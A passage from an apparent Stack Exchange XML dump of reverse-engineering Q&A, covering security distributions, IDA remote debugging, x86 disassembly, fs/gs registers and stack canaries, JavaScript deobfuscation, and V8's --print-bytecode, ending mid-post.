  <row Id="19976" PostTypeId="2" ParentId="19970" CreationDate="2018-11-27T00:09:25.690" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;FireEye's &lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLARE VM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;FLARE VM is a freely available and open sourced Windows-based security&#xA;  distribution designed for reverse engineers, malware analysts,&#xA;  incident responders, forensicators, and penetration testers. Inspired&#xA;  by open-source Linux-based security distributions like Kali Linux,&#xA;  REMnux and others, FLARE VM delivers a fully configured platform with&#xA;  a comprehensive collection of Windows security tools such as&#xA;  debuggers, disassemblers, decompilers, static and dynamic analysis&#xA;  utilities, network analysis and manipulation, web assessment,&#xA;  exploitation, vulnerability assessment applications, and many others.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The distribution also includes the FLARE team’s public malware&#xA;  analysis tools such as FLOSS and FakeNet-NG.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Kali Linux&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tools.kali.org/tools-listing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Forensics tools included by default&lt;/a&gt;:&#xA;Binwalk, bulk-extractor, Capstone, chntpw, Cuckoo dc3dd, ddrescue, DFF, diStorm3, Dumpzilla, extundelete, Foremost, Galleta, Guymager, iPhone Backup Analyzer, p0f, pdf-parser, pdfid, pdgmail, peepdf, RegRipper, Volatility,&#xA;Xplico&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.kali.org/general-use/kali-linux-forensics-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Forensics mode&quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tsurugi-linux.org/tsurugi_linux.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tsurugi Linux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tsurugi is an heavily customized Linux distribution designed to&#xA;  support your DFIR investigations, malware analysis and open source&#xA;  intelligence activities.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In this distribution are included the latest versions of the most&#xA;  famous tools you need to conduct an in-depth forensic or incident&#xA;  response investigation and several useful features like device write&#xA;  blocking at kernel level, an OSINT profile switcher and much more!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-11-27T00:09:25.690" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19977" PostTypeId="1" AcceptedAnswerId="19990" CreationDate="2018-11-27T01:31:24.743" Score="0" ViewCount="2689" Body="&lt;p&gt;I usually use remote linux debugger as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./linux_server bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in IDA Pro, I select Remote Linux Debugger as the debugger and set the process options accordingly with the IP address and port of the Linux machine. The default port is 23946.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works alright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I already have a process running on the Linux Machine with PID: 400. How can I attach Remote Linux debugger to this already running process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that linux_server provides only the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./linux_server --help&#xA;  -i...  IP address to bind to (default to any)&#xA;  -v     verbose&#xA;  -p...  port number&#xA;  -P...  password&#xA;  -k     keep broken connections&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2018-11-27T23:01:55.840" Title="IDA remote linux Debugger attach to a running process" Tags="|ida|debugging|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19978" PostTypeId="1" CreationDate="2018-11-27T04:23:21.907" Score="1" ViewCount="410" Body="&lt;p&gt;I am trying to convert this binary to C but I am having trouble with the while loop. What does&lt;br&gt;&#xA; &lt;code&gt;sub esp, 8&lt;/code&gt; mean? as well as &lt;code&gt;push [ebp+_a]&lt;/code&gt; ? I am able to get the esp 8 sometimes while changing the print statement. Why is this the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SJwYT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SJwYT.png&quot; alt=&quot;fig1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;    int main(int argc, char *argv[])&#xA;&#xA;{&#xA;    int a = 9;&#xA;&#xA;    while (a) {&#xA;&#xA;        printf(&quot;%d, &quot;);&#xA;        --a;&#xA;    }&#xA;        puts(&quot;FIRE!&quot;);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26521" LastActivityDate="2018-11-27T10:10:03.277" Title="While loop function disassembly x86" Tags="|ida|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19979" PostTypeId="1" AcceptedAnswerId="19983" CreationDate="2018-11-27T05:09:00.010" Score="4" ViewCount="7048" Body="&lt;p&gt;In a 64 bit ELF binary I found it mainly uses &lt;code&gt;fs&lt;/code&gt; register to get some values. How can I know which value it wants to access? I'm familiar with that NT kernel uses &lt;code&gt;fs&lt;/code&gt; and &lt;code&gt;gs&lt;/code&gt; register for &lt;a href=&quot;https://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;nofollow noreferrer&quot;&gt;TEB&lt;/a&gt; structure in 32 bit and 64 bit OS respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, fs:28h&#xA;mov [rsp+88], rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_a proc near&#xA;mov rax, fs:0&#xA;add rax, 44h&#xA;retn&#xA;sub_a endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-11-28T08:26:46.657" Title="What does fs and gs registers provide in Linux?" Tags="|assembly|x86|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19980" PostTypeId="1" AcceptedAnswerId="19981" CreationDate="2018-11-27T06:44:07.387" Score="1" ViewCount="2303" Body="&lt;p&gt;I am looking to reverse engineer a very ugly piece of JS &lt;a href=&quot;https://assets.supremenewyork.com/assets/pooky.min.e89860221b9126c88148.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;found here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, this script generates and sets some cookies on my browser that identify it on the site. Deobfuscating it seems extremely difficult as it is encrypted by Jscrambler and it is so large that seemingly no site such as &lt;a href=&quot;https://beautifier.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beautifier.io/&lt;/a&gt; can do anything with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to be able to generate these cookies manually and post them to the site so that I do not need a browser to access the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is there a way to debug this code in such a s way as to identify which lines generate and set the cookies? I have tried setting breakpoints on cookie set which did not seem to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Can this be deobfuscated easily by a JS noobie such as myself and what tools should I be using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: If anyone can get involved I would be willing to compensate.&lt;/p&gt;&#xA;" OwnerUserId="26522" LastEditorUserId="26522" LastEditDate="2018-11-27T18:51:17.237" LastActivityDate="2018-12-01T12:08:15.050" Title="Analyzing and deobfuscating complex JS code" Tags="|debugging|obfuscation|javascript|" AnswerCount="1" CommentCount="3" ClosedDate="2018-11-27T23:43:46.643" ContentLicense="CC BY-SA 4.0" />
  <row Id="19981" PostTypeId="2" ParentId="19980" CreationDate="2018-11-27T07:07:55.283" Score="0" Body="&lt;p&gt;It requires only a huge amount of time, but there is no JavaScript code that cannot be deobfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first time here I see a piece of obfuscated js without any clear weakness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But start point after beauty is to find basic var assignment and then accurately replace occurrences of the var with its value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reiterate&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Replace every &lt;code&gt;;&lt;/code&gt; with &lt;code&gt;;\n&lt;/code&gt;. To fo it, you must use an editor capable of regexp replacing, like VSCode or Sublime Text (and a lot of others)&#xA;I got one and only one instruction per line&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Look at first assignment&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;T8jj.W4C=&quot;3421&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will replace every occurence of &lt;code&gt;T8jj.h6C&lt;/code&gt; in the following code with the value &lt;code&gt;&quot;3063&quot;&lt;/code&gt;. But before, using regex search, I will ensure that there is only ONE occurrency of assignment, otherwise I will do a more delicate replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, only one assignment! Good, so use a regexp to replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\bT8jj\.W4C\b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;3421&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note !!!! we used word separator and entered the dot as escaped, because otherwiser you could mis-replace ASDAS&lt;strong&gt;T8jj&lt;/strong&gt;E&lt;strong&gt;W4CS&lt;/strong&gt;DFSDFD and this will create bugs !&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first regexp avoid to change eventually future occurrency of new. Do not forget trailing &lt;code&gt;&quot;&lt;/code&gt; because are syntattically important for js. &lt;code&gt;3421&lt;/code&gt; is an integer, &lt;code&gt;&quot;3421&quot;&lt;/code&gt; is a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, at roww 22233 this replaces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I(g9L.r3y(+T8jj.W4C));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I(g9L.r3y(+&quot;3421&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So string or numeric is very different !&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You now think &quot;I can remove the first line, because there is no more need for it; every referring point has now got the litteral value.&quot;&#xA;  Wrong ! Some obfuscator use string concatenation and other techs to keep you in a trap, so never remove code ! &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only 44042 rows remaining ! &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reiterate&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bx8jj.h8C &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has more than one assignment, so must replace with &quot;3871&quot; only occurency &lt;em&gt;before&lt;/em&gt; the next assignment, there same var receved assigned value of &quot;1964&quot;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Suggestions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use trailing \b and replace . with . when searching;&lt;/li&gt;&#xA;&lt;li&gt;If you got only one result or no result at all, do not delete assignment; some point in the obfuscated code could use string concatenation or use unicode chars and evals to read the variable value;&lt;/li&gt;&#xA;&lt;li&gt;Replace occurrencies of unicode-only strings with their litteral value; this will speed up code deobfuscation; for example &lt;code&gt;'\x6e\x65\x73\x74\x65\x64'&lt;/code&gt; is &lt;code&gt;'nested'&lt;/code&gt;; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24904" LastEditorUserId="24904" LastEditDate="2018-12-01T12:08:15.050" LastActivityDate="2018-12-01T12:08:15.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19982" PostTypeId="2" ParentId="19978" CreationDate="2018-11-27T09:16:05.253" Score="1" Body="&lt;p&gt;When the printf function is called (or any other function), it takes all its arguments from the stack. In x86, According to &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot; rel=&quot;nofollow noreferrer&quot;&gt;cdecl&lt;/a&gt; arguments are pushed in reverse order. So, first the integer value a is pushed on to the top of the stack (&lt;code&gt;push [ebp+_a]&lt;/code&gt;) and then the string &lt;code&gt;&quot;%d ,&quot;&lt;/code&gt; is pushed on to the stack (&lt;code&gt;push offset aD&lt;/code&gt;). While printf pops the arguments out, first it takes out the &quot;%d, &quot; and then it gets the value of a i.e., &lt;code&gt;[ebp+_a]&lt;/code&gt;. The stack pointer should also be changed accordingly so that the printf function will get the right arguments. Hence the instruction &lt;code&gt;sub esp, 8&lt;/code&gt; which changes the stack pointer(esp). &lt;/p&gt;&#xA;" OwnerUserId="26524" LastEditorUserId="26524" LastEditDate="2018-11-27T10:10:03.277" LastActivityDate="2018-11-27T10:10:03.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19983" PostTypeId="2" ParentId="19979" CreationDate="2018-11-27T09:46:38.417" Score="9" Body="&lt;p&gt;The &lt;code&gt;gs&lt;/code&gt;/&lt;code&gt;fs&lt;/code&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_memory_segmentation&quot; rel=&quot;noreferrer&quot;&gt;segment&lt;/a&gt; can be used for &lt;a href=&quot;https://en.wikipedia.org/wiki/Thread-local_storage&quot; rel=&quot;noreferrer&quot;&gt;thread local storage&lt;/a&gt; similar to what you have encountered in Windows. Variable specific to a thread such as &lt;code&gt;errno&lt;/code&gt;, &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.14/source/arch/x86/include/asm/stackprotector.h&quot; rel=&quot;noreferrer&quot;&gt;stack canary&lt;/a&gt; etc are usually stored here in Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.14/source/arch/x86/include/asm/stackprotector.h&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt;, your first example is to save canary to the stack from &lt;code&gt;fs:0x28&lt;/code&gt;. You can see some hacks &lt;a href=&quot;https://github.com/zardus/preeny/blob/master/src/getcanary.c&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and read more &lt;a href=&quot;https://stackoverflow.com/questions/6611346/how-are-the-fs-gs-registers-used-in-linux-amd64&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Canary check from an example binary &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tail x.c &#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;    char s[32];&#xA;    scanf(&quot;%s&quot;, s);&#xA;    return 0;&#xA;}&#xA;&#xA;$ gcc -no-pie -fno-pic x.c -o z64   &#xA;$ gcc -m32 -no-pie -fno-pic x.c -o z32   &#xA;$ r2 -AA z32 -qc &quot;pdf @ sym.main&quot;     &#xA;            ;-- main:&#xA;┌ (fcn) sym.main 86&#xA;....&#xA;│           0x080484bf      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20&#xA;│           0x080484c5      8945f4         mov dword [local_ch], eax&#xA;│           0x080484c8      31c0           xor eax, eax&#xA;....&#xA;│           0x080484e3      8b55f4         mov edx, dword [local_ch]&#xA;│           0x080484e6      653315140000.  xor edx, dword gs:[0x14]&#xA;│       ┌─&amp;lt; 0x080484ed      7405           je 0x80484f4&#xA;│       │   0x080484ef      e85cfeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)&#xA;....&#xA;$ r2 -AA z64 -qc &quot;pdf @ sym.main&quot;&#xA;            ;-- main:&#xA;┌ (fcn) sym.main 79&#xA;....&#xA;│           0x00400586      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40&#xA;│           0x0040058f      488945f8       mov qword [local_8h], rax&#xA;│           0x00400593      31c0           xor eax, eax&#xA;....&#xA;│           0x004005b0      488b55f8       mov rdx, qword [local_8h]&#xA;│           0x004005b4      644833142528.  xor rdx, qword fs:[0x28]&#xA;│       ┌─&amp;lt; 0x004005bd      7405           je 0x4005c4&#xA;│       │   0x004005bf      e8acfeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also for your second request, yes that is &lt;a href=&quot;http://man7.org/linux/man-pages/man0/sys_types.h.0p.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;pthread_t&lt;/code&gt;&lt;/a&gt; at offset 0 in &lt;code&gt;fs&lt;/code&gt;/&lt;code&gt;gs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tail -n 30 x.c&#xA;&#xA;#ifdef __x86_64__&#xA;#define val_t     uint64_t&#xA;#define INSN_READ    &quot;movq %%fs:0, %0;&quot;&#xA;#define FMT          &quot;Found val: %#lx\n&quot;&#xA;&#xA;#elif __i386__&#xA;#define val_t     uint32_t&#xA;#define INSN_READ    &quot;movl %%gs:0, %0;&quot;&#xA;#define FMT          &quot;Found val: %#x\n&quot;&#xA;#endif&#xA;&#xA;val_t read_val()&#xA;{&#xA;    val_t val = 0;&#xA;&#xA;    __asm__(INSN_READ&#xA;        : &quot;=r&quot;(val)&#xA;        :&#xA;        :);&#xA;&#xA;    return val;&#xA;}&#xA;int main(int argc, char **argv)&#xA;{&#xA;    printf(FMT, read_val());&#xA;    printf(FMT, (val_t)pthread_self());&#xA;    return 0;&#xA;}&#xA;&#xA;$ gcc -no-pie -fno-pic x.c -o zm64&#xA;$ gcc -m32 -no-pie -fno-pic x.c -o zm32&#xA;&#xA;$ ./zm32 &#xA;Found val: 0xf7f800c0&#xA;Found val: 0xf7f800c0&#xA;&#xA;$ ./zm64 &#xA;Found val: 0x7fd50119f4c0&#xA;Found val: 0x7fd50119f4c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to look for your second snippet in my &lt;code&gt;libc&lt;/code&gt; but couldn't find it. SO can't answer for sure what it contains at &lt;code&gt;0x44&lt;/code&gt;. While debugging I only got 0s at that offset.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $ r2 /lib/x86_64-linux-gnu/libc.so.6&#xA;   -- There is only one binary, and we are all just reversing pieces of it.&#xA;  [0x00021cb0]&amp;gt; /x `!rasm2 -a x86.as -b 64 &quot;mov rax, fs:[0]&quot;`&#xA;  Searching 9 bytes in [0x0-0x1e6aa0]&#xA;  hits: 7&#xA;  Searching 9 bytes in [0x3e7620-0x3f0ae0]&#xA;  hits: 0&#xA;  0x000e18c9 hit0_0 64488b042500000000&#xA;  0x000e1d8a hit0_1 64488b042500000000&#xA;  0x00105cff hit0_2 64488b042500000000&#xA;  0x00105e50 hit0_3 64488b042500000000&#xA;  0x00105f21 hit0_4 64488b042500000000&#xA;  0x00106865 hit0_5 64488b042500000000&#xA;  0x0014a18a hit0_6 64488b042500000000&#xA;  [0x00021cb0]&amp;gt; pd10 @@ hit0_*&#xA;              ;-- hit0_0:&#xA;              0x000e18c9      64488b042500.  mov rax, qword fs:[0]&#xA;              0x000e18d2      31db           xor ebx, ebx&#xA;              0x000e18d4      48c744241800.  mov qword [rsp + 0x18], 0&#xA;              0x000e18dd      4c8b25849530.  mov r12, qword [0x003eae68] ; [0x3eae68:8]=0&#xA;              0x000e18e4      48890424       mov qword [rsp], rax&#xA;              0x000e18e8      488d442450     lea rax, [rsp + 0x50]       ; &quot;@&quot; ; 'P'&#xA;              0x000e18ed      4889442430     mov qword [rsp + 0x30], rax&#xA;              0x000e18f2      488d442460     lea rax, [rsp + 0x60]       ; '`'&#xA;              0x000e18f7      4889442420     mov qword [rsp + 0x20], rax&#xA;              0x000e18fc      488d442458     lea rax, [rsp + 0x58]       ; &quot;@&quot; ; 'X'&#xA;              ;-- hit0_1:&#xA;              0x000e1d8a      64488b042500.  mov rax, qword fs:[0]&#xA;              0x000e1d93      31db           xor ebx, ebx&#xA;              0x000e1d95      48c744242800.  mov qword [rsp + 0x28], 0&#xA;              0x000e1d9e      4c8b25c39030.  mov r12, qword [0x003eae68] ; [0x3eae68:8]=0&#xA;              0x000e1da5      4889442410     mov qword [rsp + 0x10], rax&#xA;              0x000e1daa      488d442460     lea rax, [rsp + 0x60]       ; '`'&#xA;              0x000e1daf      4889442440     mov qword [rsp + 0x40], rax&#xA;              0x000e1db4      488d442470     lea rax, [rsp + 0x70]       ; 'p'&#xA;              0x000e1db9      4889442430     mov qword [rsp + 0x30], rax&#xA;              0x000e1dbe      488d442468     lea rax, [rsp + 0x68]       ; 'h'&#xA;              ;-- hit0_2:&#xA;              0x00105cff      64488b042500.  mov rax, qword fs:[0]&#xA;              0x00105d08      488b1d41512e.  mov rbx, qword [0x003eae50] ; [0x3eae50:8]=0&#xA;              0x00105d0f      4c8b2d52512e.  mov r13, qword [0x003eae68] ; [0x3eae68:8]=0&#xA;              0x00105d16      4c8d3c18       lea r15, [rax + rbx]&#xA;              0x00105d1a      48898560feff.  mov qword [rbp - 0x1a0], rax&#xA;              0x00105d21      4c89e7         mov rdi, r12&#xA;              0x00105d24      e807060600     call sym._dl_mcount_wrapper_check&#xA;              0x00105d29      488b8560feff.  mov rax, qword [rbp - 0x1a0]&#xA;              0x00105d30      4883ec08       sub rsp, 8&#xA;              0x00105d34      498b4e08       mov rcx, qword [r14 + 8]    ; sym.__resp ; [0x8:8]=0&#xA;              ;-- hit0_3:&#xA;              0x00105e50      64488b042500.  mov rax, qword fs:[0]&#xA;              0x00105e59      4c8b2d08502e.  mov r13, qword [0x003eae68] ; [0x3eae68:8]=0&#xA;              0x00105e60      4c8dbd98feff.  lea r15, [rbp - 0x168]&#xA;              0x00105e67      488b1de24f2e.  mov rbx, qword [0x003eae50] ; [0x3eae50:8]=0&#xA;              0x00105e6e      48c78598feff.  mov qword [rbp - 0x168], 0&#xA;              0x00105e79      48898560feff.  mov qword [rbp - 0x1a0], rax&#xA;              0x00105e80      4c01e8         add rax, r13                ; 'o'&#xA;              0x00105e83      48898508feff.  mov qword [rbp - 0x1f8], rax&#xA;              0x00105e8a      660f1f440000   nop word [rax + rax]&#xA;              0x00105e90      4c89e7         mov rdi, r12&#xA;              ;-- hit0_4:&#xA;              0x00105f21      64488b042500.  mov rax, qword fs:[0]&#xA;              0x00105f2a      4c8b2d374f2e.  mov r13, qword [0x003eae68] ; [0x3eae68:8]=0&#xA;              0x00105f31      4c8dbd98feff.  lea r15, [rbp - 0x168]&#xA;              0x00105f38      488b1d114f2e.  mov rbx, qword [0x003eae50] ; [0x3eae50:8]=0&#xA;              0x00105f3f      48c78598feff.  mov qword [rbp - 0x168], 0&#xA;              0x00105f4a      48898560feff.  mov qword [rbp - 0x1a0], rax&#xA;              0x00105f51      4c01e8         add rax, r13                ; 'o'&#xA;              0x00105f54      48898508feff.  mov qword [rbp - 0x1f8], rax&#xA;              0x00105f5b      0f1f440000     nop dword [rax + rax]&#xA;              0x00105f60      4c89e7         mov rdi, r12&#xA;              ;-- hit0_5:&#xA;              0x00106865      64488b042500.  mov rax, qword fs:[0]&#xA;              0x0010686e      488db5c0feff.  lea rsi, [rbp - 0x140]&#xA;              0x00106875      4c8b0dd4452e.  mov r9, qword [0x003eae50]  ; [0x3eae50:8]=0&#xA;              0x0010687c      488b8d20feff.  mov rcx, qword [rbp - 0x1e0]&#xA;              0x00106883      ba00010000     mov edx, 0x100&#xA;              0x00106888      4885ff         test rdi, rdi&#xA;              0x0010688b      490f44fd       cmove rdi, r13&#xA;              0x0010688f      4901c1         add r9, rax                 ; '#'&#xA;              0x00106892      480305cf452e.  add rax, qword [0x003eae68]&#xA;              0x00106899      4989c0         mov r8, rax&#xA;              ;-- hit0_6:&#xA;              0x0014a18a      64488b042500.  mov rax, qword fs:[0]&#xA;              0x0014a193      4c89fb         mov rbx, r15&#xA;              0x0014a196      4889442440     mov qword [rsp + 0x40], rax&#xA;              0x0014a19b      488d442460     lea rax, [rsp + 0x60]       ; '`'&#xA;              0x0014a1a0      4889442408     mov qword [rsp + 8], rax&#xA;              0x0014a1a5      488b4500       mov rax, qword [rbp]&#xA;              0x0014a1a9      488b7c2458     mov rdi, qword [rsp + 0x58] ; [0x58:8]=64 ; 'X'&#xA;              0x0014a1ae      4889442410     mov qword [rsp + 0x10], rax&#xA;              0x0014a1b3      488b03         mov rax, qword [rbx]&#xA;              0x0014a1b6      4889442418     mov qword [rsp + 0x18], rax&#xA;  [0x00021cb0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="245" LastEditDate="2018-11-28T08:26:46.657" LastActivityDate="2018-11-28T08:26:46.657" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19986" PostTypeId="2" ParentId="19971" CreationDate="2018-11-27T21:14:28.573" Score="1" Body="&lt;p&gt;Usually, debuggers (IDA included) provide tracing functionality. This is &lt;em&gt;logging&lt;/em&gt; debugee's actions at a predefined granularity level. That could be logging all individual instructions, or as you desire, function calls. Using function tracing (&lt;code&gt;Debugger -&amp;gt; Tracing -&amp;gt; Function Tracing&lt;/code&gt;) a user is able to view all functions called throughout the tracing duration. Keep in mind this may generate a big trace, and logging it to a file may be recommended.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-11-27T21:14:28.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19987" PostTypeId="1" AcceptedAnswerId="19989" CreationDate="2018-11-27T22:23:49.687" Score="0" ViewCount="818" Body="&lt;p&gt;I just saw &lt;a href=&quot;https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt;, and I was wondering if it's safe to get v8 bytecode in that fashion with &lt;code&gt;--print-bytecode&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-11-27T22:25:58.540" LastActivityDate="2018-12-12T18:45:22.380" Title="Is v8's --print-bytecode safe?" Tags="|javascript|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19989" PostTypeId="2" ParentId="19987" CreationDate="2018-11-27T22:24:55.600" Score="2" Body="&lt;h1&gt;&lt;code&gt;--print-bytecode&lt;/code&gt; is not safe.&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;process.exit(42)&quot; &amp;gt; test.js&#xA;node --print-bytecode ./test.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It exists with status_code = 42. So that code is getting executed. It is not safe.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-12-12T18:45:22.380" LastActivityDate="2018-12-12T18:45:22.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19990" PostTypeId="2" ParentId="19977" CreationDate="2018-11-27T23:01:55.840" Score="1" Body="&lt;p&gt;IDA allows remote process debugging as shown in the fourth page &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you need to run the server with sudo so it could attach to the remote process.&lt;br&gt;&#xA;Also note that you need to have the executable (more precisely, the database) that you want to debug in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I did on the linux machine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PkkIv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PkkIv.png&quot; alt=&quot;linux machine screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've compiled 